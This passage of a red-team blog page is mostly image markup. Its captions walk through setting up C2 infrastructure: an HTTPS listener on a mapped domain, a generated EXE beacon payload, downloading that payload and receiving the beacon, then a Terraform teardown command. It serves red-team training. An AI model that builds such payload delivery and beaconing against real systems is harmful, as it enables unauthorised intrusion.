srcset="https://substackcdn.com/image/fetch/$s_!5I0t!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg 424w, https://substackcdn.com/image/fetch/$s_!5I0t!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg 848w, https://substackcdn.com/image/fetch/$s_!5I0t!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!5I0t!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5I0t!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg" width="404" height="316.0243309002433" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/aa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:643,&quot;width&quot;:822,&quot;resizeWidth&quot;:404,&quot;bytes&quot;:37877,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164003185?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!5I0t!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg 424w, https://substackcdn.com/image/fetch/$s_!5I0t!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg 848w, https://substackcdn.com/image/fetch/$s_!5I0t!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!5I0t!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa9fe4a9-98bb-4cf5-b0c2-bd507ac51a7f_822x643.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Validating the generated certificate</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!avku!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!avku!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg 424w, https://substackcdn.com/image/fetch/$s_!avku!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg 848w, https://substackcdn.com/image/fetch/$s_!avku!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!avku!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!avku!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg" width="407" height="562.9803921568628" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:776,&quot;width&quot;:561,&quot;resizeWidth&quot;:407,&quot;bytes&quot;:55979,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164003185?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!avku!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg 424w, https://substackcdn.com/image/fetch/$s_!avku!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg 848w, https://substackcdn.com/image/fetch/$s_!avku!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!avku!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7659ae85-fa5d-44a9-ba0d-bd1180023ce3_561x776.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Creating a HTTPS listener configured to use the mapped domain name as a host</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!INb_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!INb_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg 424w, https://substackcdn.com/image/fetch/$s_!INb_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg 848w, https://substackcdn.com/image/fetch/$s_!INb_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!INb_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!INb_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg" width="403" height="498.541889483066" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:694,&quot;width&quot;:561,&quot;resizeWidth&quot;:403,&quot;bytes&quot;:60401,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164003185?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!INb_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg 424w, https://substackcdn.com/image/fetch/$s_!INb_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg 848w, https://substackcdn.com/image/fetch/$s_!INb_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!INb_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2176dee5-aad9-4b03-89ed-fac81b70489e_561x694.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Generating an EXE payload configured with the above HTTPS listener</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DVz5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DVz5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg 424w, https://substackcdn.com/image/fetch/$s_!DVz5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg 848w, https://substackcdn.com/image/fetch/$s_!DVz5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!DVz5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DVz5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg" width="588" height="307.3213909378293" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:496,&quot;width&quot;:949,&quot;resizeWidth&quot;:588,&quot;bytes&quot;:42760,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164003185?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DVz5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg 424w, https://substackcdn.com/image/fetch/$s_!DVz5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg 848w, https://substackcdn.com/image/fetch/$s_!DVz5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!DVz5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F06c08143-ad7f-4511-b07a-33aa9f9d5a3c_949x496.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Downloading the payload via the mapped domain name</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tjW7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tjW7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg 424w, https://substackcdn.com/image/fetch/$s_!tjW7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg 848w, https://substackcdn.com/image/fetch/$s_!tjW7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!tjW7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tjW7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg" width="595" height="302.02389572773353" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:701,&quot;width&quot;:1381,&quot;resizeWidth&quot;:595,&quot;bytes&quot;:109716,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164003185?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tjW7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg 424w, https://substackcdn.com/image/fetch/$s_!tjW7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg 848w, https://substackcdn.com/image/fetch/$s_!tjW7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!tjW7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f3c1df-5091-4795-9597-eaa0256cce7c_1381x701.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Beacon received via the mapped domain name</figcaption></figure></div><p>Once done, remember to destroy the infrastructure via following command (or you may incur significant costs):</p><pre><code><code>terraform destroy -var-file "secrets.tfvars"</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!BqSc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!BqSc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg 424w, https://substackcdn.com/image/fetch/$s_!BqSc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg 848w, https://substackcdn.com/image/fetch/$s_!BqSc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!BqSc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!BqSc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg" width="1105" height="361" 